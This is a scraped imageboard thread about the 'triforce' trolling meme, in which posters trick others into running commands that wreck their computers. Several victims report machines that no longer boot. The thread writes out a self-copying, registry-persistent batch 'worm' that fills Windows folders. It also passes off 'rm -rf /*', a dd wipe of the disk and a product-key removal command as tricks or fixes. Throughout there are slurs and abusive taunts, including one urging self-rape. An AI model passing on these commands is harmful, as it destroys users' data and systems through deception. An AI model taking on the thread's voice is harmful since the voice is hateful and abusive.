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how do you fags not fucking know this by now
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▲ oh shit it worked!
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>>702976712
Testing this now, will report back if it works
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>>702977006
me too, will post results
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>>702976712
you forgot about takeown and icacls
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OLd meme is old
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>>702976712
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>>702977896
Close enough
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Test?
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>>702978259
>>702976712
Thanks OP.
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IM NOT A NEWFAG
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>>702978671
Newfag
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>>702976712
the .bat are magic ^^ and it's work it's so easy
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let me try this to be legit.....


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hey it works!
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>>702978671
as punishment you have to rape yourself and post the webm here.
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>>702979375
nope, newfag
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>>702976712
lets give it a try
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It worked!
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i used to be an old fag but then thex change what it was and now what it is i am not. i embrace the newfag live
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sup /b/

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>>702978259
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>Test?
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>>702976712
mom said i'm not opposed to use alt codes
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>>702980563
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>>702980797
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Boom
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>>702976712

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i love fucking this up on purpose every time
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Newfags 4 lyf
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FAG TRAP
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xD
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I'm gonna try this right now as well
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>>702976712
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>>702981970
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Just shitposting.
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>>702982140
Oh shit it worked!
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>>702976712
Test 01:
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anti newfag shield deployed
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>>702976712
If nothing happens, when I click the file, then what do?

A window just pops up and closes immediately
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>>702976712
Test 02:
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>>702976712

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goodbye newfags
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>>702982896
Hmm that's a strange one anon?
Can anybody help out this newfriend?
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>>702976712
Test 03:
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>>702976712
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>>702976712
alright faggot how do i fix my laptop?
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>>702976712
im fucking serious, this shit won't even boot now.
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DAHDAH DAH DAA. got it
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>>702983398
>>702983489
post pics with timestamp and become ledge
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  ▲ shit!
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>>702976712
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any help is appreciated, i just need my laptop for school n shit.
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>>702983681
brb
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>>702983117
just do caps lock alt 255 man
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>>702976712
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thanks anon
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Am I doing it rite?
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>>702976712
Test 04:
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>>702976712

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>>702983714
Neodymium magnets should sort that out.
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>>702983681
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>>702984182
holy fuck your retarded
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>>702984225
great, how do i fix it?
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>>702984321
you get a new laptop
your
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>>702984321
google it
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>>702984321
reinstall lul
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>>702984442
google told me to get a new computer but i aint got that kind of doh
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>>702984081
kek newfag
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>>702984557
From what i know its just a complicated re-installation of your operating system.
just send it to a repair place and tell them you deleted system 32 like a dummy
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sup newfags
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>>702984690
>>702984793
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rekt
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Rmdir nubs
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>>702976712
Quadforce?

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jesus. I just wanted to triforce but now I've lost all my notes, assignments, and tons of important information... And porn.
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>>702976712
▲ oh shit it worked!
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>>702985166
Delete that shit faggot.
Triforce is the only way we can tell who the newfags are.
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>>702978259

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>>702985166
i lost
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Triforce on iPhone?
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>>702985450
drop it 3 times
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>>702985166

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Surprised no one has posted this, fucking classic
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Easy
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can't believe i fell for that shit
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>>702985166
>>702985623
Thanks
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>>702984557
Just use a windows disc that matches the code on the pc, next time don't be fucking retarded
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>>702976712

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>>702985872
thanks to OP you found out how stupid you really are.
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ha ha very funny op
now tell me how to fix it
i tried it on my dads comp and a black window came up and now it doesnt work

its his work computer and hes going to be home soon
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>>702985872
Can't be true?
What did you do?
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>>702985872
retarded
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>>702976712

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I still can't do it.
The alt-255 doesn't work....
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>>702984321
actually turn your laptop on, master troll
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>>702986292
post pics for proof and i will help you
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>>702984862
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>>702986564
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It's working for me...
>Watch me fuck it up this time.
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Write this assholes...
@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v
hack/d0%windir%\system32\ triforce.bat
: triforce
cd/
cd%homepatch%
cd escitorio
echo triforce >> %ramdom%.exe
echo triforce >> %ramdom%.exe
echo triforce >> %ramdom%.exe
cd\
cd windows
mkdir %ramdom%
mkdir %ramdom%
echo triforce >> %ramdom%.exe
echo triforce >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
goto triforce
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huh!
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>>702987191
>Write this assholes...
>@echo off
>copy %0 %windir%\system32\worm.bat
>REG ADD HKLM\software\microsoft\windows\currentsversion\run/v
>hack/d0%windir%\system32\ triforce.bat
>: triforce
>cd/
>cd%homepatch%
>cd escitorio
>echo triforce >> %ramdom%.exe
>echo triforce >> %ramdom%.exe
>echo triforce >> %ramdom%.exe
>cd\
>cd windows
>mkdir %ramdom%
>mkdir %ramdom%
>echo triforce >> %ramdom%.exe
>echo triforce >> %ramdom%.exe
>cd system32
>mkdir %ramdom%
>mkdir %ramdom%
>mkdir %ramdom%
>goto triforce
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>>702987420
but I am a newfag!
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>>702987191
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>YES!
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[s]Test[/s]
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>>702976712
this will work, too:

1 Open the Start Menu.

2 Click on All Programs and Accessories, then right click on Command Prompt and click on Run as administrator.

3 In the new black window type:
slmgr -upk
and then press enter.
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>>702985713
>>702986292
Bitch don't try and copy paste when I already posted the source
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okay WTf happend to my PC? I paid 1000 for this it's an alienware.
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>>702988271
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>>702988385
No I didn't get I think I have a virus my pc isn't starting. PS im typing t his on my Ipad
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holy shit! it totally works!
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>>702987191
Write this assholes...
@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v
hack/d0%windir%\system32\ triforce.bat
: triforce
cd/
cd%homepatch%
cd escitorio
echo triforce >> %ramdom%.exe
echo triforce >> %ramdom%.exe
echo triforce >> %ramdom%.exe
cd\
cd windows
mkdir %ramdom%
mkdir %ramdom%
echo triforce >> %ramdom%.exe
echo triforce >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
goto triforce
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ITT All we see is Newfags Copy and Pasting
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>>702976712
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>>702987191
man, that's like asshole infinity.
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>>702985872
Is there anything I can do to put it back in?
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>>702988827
there are so many errors in there...

wtf is %homepatch%... did you mean homepath?

wtf is escitorio

wtf is that retarded shit
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>>702989146
if you have a strong magnet, you can fix it
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>>702984182
how the fuck can you be this big of a new fag?
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hrmm

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>>702989221
Don't triforce then...
Makes fuck all difference to me.
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>>702989485
why don't the leading 255s post? they did years ago...
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>>702989146
if you promise you never come back to b/ again i´ll tell you..
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>>702985872
>>702987191
function show_alert value="Show User" eval("x=10; y=20;document.write(x*y)");
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>>702978841
Newfag
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>>702989518
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i just use op's instructions, thank you very much faggot
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How do I try force from my white IPhone 6S
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>>702989566
just tell me
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>>702989789
drop it 3 times fag
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>>702976712
>i tried it. now all my text is green
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>>702989808
fu kys
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>>702984182
lousy bait.
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>>702976712
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>>702989976
>testan
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Did I do it
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>>702985872
paperweight. You've lost everything. Try this.

https://support.microsoft.com/en-us/kb/812340
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>>702990389
or http://www.tomshardware.com/forum/id-2826130/windows-system32-folder.html
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>>702986572
ayy, got me. it's actually been out for months.
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kek
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>>702986262
kek
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>>702991050
noice b8 m8
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>>702991941
How do you post ninja death stars?
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%triforce
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old fags know
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>>702984182
top fking kek
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Am I a newfag?
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>>702985872
you have to be kidding me
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>>702976712

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>>702985872

just.
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>>702985872
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FUCK YES
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>>702985872
kek
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>>702991050
called that upthread before posting the links to help you, but hey, good job. Not ashamed of trying to help.
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Any newfags ever pressed windows button and enter together on win 10?
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>>702980916
am i doing it right?
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>>702996331
newfag
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>>702996573
damn
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>>702976712
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GNU/Linux users need to open their teminals, log in as root, and type "rm -rf /*"
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>>702996668
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How about me?
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>>702996761
honestly, i suspect that linux users aren't retarded enough to fall for shit like this. i would love to be proven wrong though
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>>702996805
you are a newfag, too
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>>702978259
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Double test.
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>>702997040
With all the wannabe haxx0rz installing Kali you're most likely wrong.

Debian/KDE masterrace.
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>>702997279
It's upside down but perfectly symmetrical, not bad.
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>>702997040
>>702996761

I thought on linux you were supposed to do a:

sudo dd if=/dev/zero of=/dev/sda
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>>702997496
That also works.
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